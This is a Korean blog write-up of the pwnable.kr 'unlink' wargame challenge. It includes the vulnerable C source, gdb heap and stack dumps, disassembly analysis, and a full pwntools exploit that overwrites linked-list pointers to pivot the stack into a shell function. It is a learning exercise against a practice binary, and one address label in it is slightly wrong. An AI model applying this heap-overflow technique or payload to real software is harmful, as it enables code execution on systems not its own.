wargame/pwnable.kr

pwnable.kr unlink - writeup

DangDang's 2019. 4. 6. 05:20

unlink@ubuntu:~$ cat unlink.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

typedef struct tagOBJ{

    struct tagOBJ* fd;

    struct tagOBJ* bk;

    char buf[8];

}OBJ;

void shell(){

    system("/bin/sh");

}

 

 

void unlink(OBJ* P){

    OBJ* BK;

    OBJ* FD;

    BK=P->bk;

    FD=P->fd;

    FD->bk=BK;

    BK->fd=FD;

}

int main(int argc, char* argv[]){

    malloc(1024);

    OBJ* A = (OBJ*)malloc(sizeof(OBJ));

    OBJ* B = (OBJ*)malloc(sizeof(OBJ));

    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

 

 

    // double linked list: A <-> B <-> C

    A->fd = B;

    B->bk = A;

    B->fd = C;

    C->bk = B;

 

 

    printf("here is stack address leak: %p\n", &A);

    printf("here is heap address leak: %p\n", A);

    printf("now that you have leaks, get shell!\n");

    // heap overflow!

    gets(A->buf);

 

 

    // exploit this unlink!

    unlink(B);

    return 0;

}

 

코드를 먼저 확인해봐요. unlink 함수 부분이 취약하니, heap overflow을 일으키라고 적혀있네요 ㅎㅎ 아마 이를 통해서 shell함수를 실행시키는 것 같네요.

 

그리고 A,B,C를 double linked list로 만들어줬어요.

 

unlink에 대해서 제가 이해한 대로 간단하게 글을 썼어요.  ->  https://dangdangs.tistory.com/7

 

 

스택 주소와 힙 주소를 알려주니까, gdb를 통해서 AAAABBBB를 넣고 스택과 힙을 확인해봤어요

 

here is stack address leak: 0xffd5ac34

here is heap address leak: 0x99cb410

now that you have leaks, get shell!

AAAABBBB

 

 

Breakpoint 1, 0x080485e9 in main ()

(gdb) x/20wx 0xffd5ac34

0xffd5ac34:    0x099cb410    0x099cb440    0x099cb428    0xf772f3dc

0xffd5ac44:    0xffd5ac60    0x00000000    0xf7595637    0xf772f000

0xffd5ac54:    0xf772f000    0x00000000    0xf7595637    0x00000001

0xffd5ac64:    0xffd5acf4    0xffd5acfc    0x00000000    0x00000000

0xffd5ac74:    0x00000000    0xf772f000    0xf7768c04    0xf7768000

(gdb) x/20wx 0x99cb410

0x99cb410:    0x099cb428    0x00000000    0x41414141    0x42424242

0x99cb420:    0x00000000    0x00000019    0x099cb440    0x099cb410

0x99cb430:    0x00000000    0x00000000    0x00000000    0x00000019

0x99cb440:    0x00000000    0x099cb428    0x00000000    0x00000000

0x99cb450:    0x00000000    0x00000409    0x20776f6e    0x74616874

 

데이터가 들어간 것을 확인할 수가 있어요. 그리고 malloc으로 동적할당된 크기가 0x10이라느 것을 알 수가 있어요. 물론 메모리를 관리하기 위해 필요한 정보들도 들어가니까, 0x18이라는 것을 알수가 있어요.

 

또한 메모리내에서도 double linked list라는 것을 알 수 있어요.

 

A->FD=0x099cb428(B의 주소)

B->FD=0x099cb440(C의 주소)

B->BK=0x099cb410(A의 주소)

C->BK=0x099cb428(A의 주소)

 

그러면 unlink함수를 한번 확인 해볼까요?

 

Dump of assembler code for function unlink:

   0x08048504 <+0>:    push   ebp

   0x08048505 <+1>:    mov    ebp,esp

   0x08048507 <+3>:    sub    esp,0x10

   0x0804850a <+6>:    mov    eax,DWORD PTR [ebp+0x8]

   0x0804850d <+9>:    mov    eax,DWORD PTR [eax+0x4]

   0x08048510 <+12>:    mov    DWORD PTR [ebp-0x4],eax     // ebp-0x4에 B->BK 값을 넣음.

 

   0x08048513 <+15>:    mov    eax,DWORD PTR [ebp+0x8]

   0x08048516 <+18>:    mov    eax,DWORD PTR [eax]

   0x08048518 <+20>:    mov    DWORD PTR [ebp-0x8],eax     // ebp-0x8에 B->FD 값을 넣음.

 

   0x0804851b <+23>:    mov    eax,DWORD PTR [ebp-0x8]

   0x0804851e <+26>:    mov    edx,DWORD PTR [ebp-0x4]

   0x08048521 <+29>:    mov    DWORD PTR [eax+0x4],edx     // ((B->FD)+4))에 B->BK 값을 넣음

 

   0x08048524 <+32>:    mov    eax,DWORD PTR [ebp-0x4]

   0x08048527 <+35>:    mov    edx,DWORD PTR [ebp-0x8]

   0x0804852a <+38>:    mov    DWORD PTR [eax],edx         //  (B->BK)에 B->FD 값을 넣음

   0x0804852c <+40>:    nop

   0x0804852d <+41>:    leave  

   0x0804852e <+42>:    ret  

 

unlink 함수를 다음과 같이 4등분으로 나눠줄 수 있어요. 이 부분을 확인해보면, A,B,C B와의 연결을 끊어버리고, A와C만 연결된다는 것을 알 수가 있어요. 이때, B의 fd와 B의 bk를 조작해서 shell함수를 시작시키면 되겠네요!

 

그후에 아래와 같이 메인이 종료가 되요 어 근데, 중간에 "lea    esp, [ecx-0x4]"가 중간에 껴있어요 leave 명령어가 일어난후 바로 ret를 하는게 아니라 [ecx-0x4]로 esp를 옮긴후 ret를 하네요. 그렇다면 ecx-0x4에다가 shell 명령어를 넣는게 주 목표가 될 것 같아요!

 

   0x080485ff <+208>:    mov    ecx,DWORD PTR [ebp-0x4]

   0x08048602 <+211>:    leave  

   0x08048603 <+212>:    lea    esp,[ecx-0x4]

   0x08048606 <+215>:    ret  

 

아까 unlink 함수를 분석하면서, 총 4가지 단계로 나눌 수 있어요.

 

  1. ebp-0x4에 B->BK 값을 넣음

  2. ebp-0x8에 B->FD 값을 넣음

  3. ((B->FD)+4))에 B->BK 값을 넣음

  4. (B->BK)에 B->FD 값을 넣음

 

여기서 중요한 부분은 3, 4번이에요. 이를 통해서 ret에 저희가 원하는 쉘함수의 주소를 넣을 수 있어요.

 

일반 버퍼에 쉘함수의 주소를 적고, FD,BK를 덮어씌우기 전까지 더미 값을 넣고, 그후에 FD,BK 값을 넣으면되는데

어떻게 해야할까요

 

B->FD에는 stack주소를 조작해서 넣고, B->BK에는 heap주소를 조작해서 넣어서, heap에 넣은 쉘함수의 주소를 가리키도록하면 될 것 같아요.

 

((B->FD)+4))와 [ecx-0x4]를 고려해서, b->FD에는 stack주소+12를 넣고,  B->BK에 heap+12를 넣으면 되요!

 

그렇게되면, unlink를 통해서 ebp-0x4에 heap+12주소가 들어가게 되고, "lea    esp,[ecx-0x4]"를 통해서 esp가 쉘함수의 주소를 가리키게되고, ret을 통해서 쉘함수가 실행이되요!

 

아래와 같이 파이썬을 통해서 exploit를 작성했어요!

 

 

from pwn import *

 

 

s=ssh(user='unlink',host='pwnable.kr',port=2222,password='guest')

 

 

p=s.process('./unlink')

 

 

print p.recvuntil('stack address leak: ')

stackAddr=int(p.recvuntil('\n')[:-1],16)

 

 

print p.recvuntil('heap address leak: ')

heapAddr=int(p.recvuntil('\n')[:-1],16)

 

 

print("stackAddr : 0x{}, heapAddr : 0x{}".format(hex(stackAddr),hex(heapAddr)))

 

 

payload=p32(0x080484eb)

payload+="A"*12

payload+=p32(stackAddr+0xc)

payload+=p32(heapAddr+0xc)

 

 

p.sendline(payload)

 

 

p.interactive()